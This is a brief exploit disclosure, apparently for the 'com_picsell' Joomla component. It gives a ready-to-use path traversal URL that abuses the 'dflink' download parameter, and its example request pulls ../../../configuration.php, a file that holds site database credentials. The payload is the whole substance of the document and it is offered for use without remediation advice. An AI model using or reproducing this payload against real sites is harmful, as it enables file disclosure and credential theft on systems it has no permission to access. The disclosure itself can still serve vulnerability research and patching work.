20 lines
No EOL
604 B
Text
20 lines
No EOL
604 B
Text
# Author: Craw
|
|
# Email: craw@element7.eu
|
|
# Software Link: http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131
|
|
# Category: web applications
|
|
|
|
=======================================================
|
|
|
|
[+] ExploiT :
|
|
|
|
http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=[File Disclosure]
|
|
|
|
|
|
[+] Example :
|
|
|
|
http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php
|
|
|
|
|
|
=======================================================
|
|
Greetz @ LUXEMBOURG
|
|
======================================================= |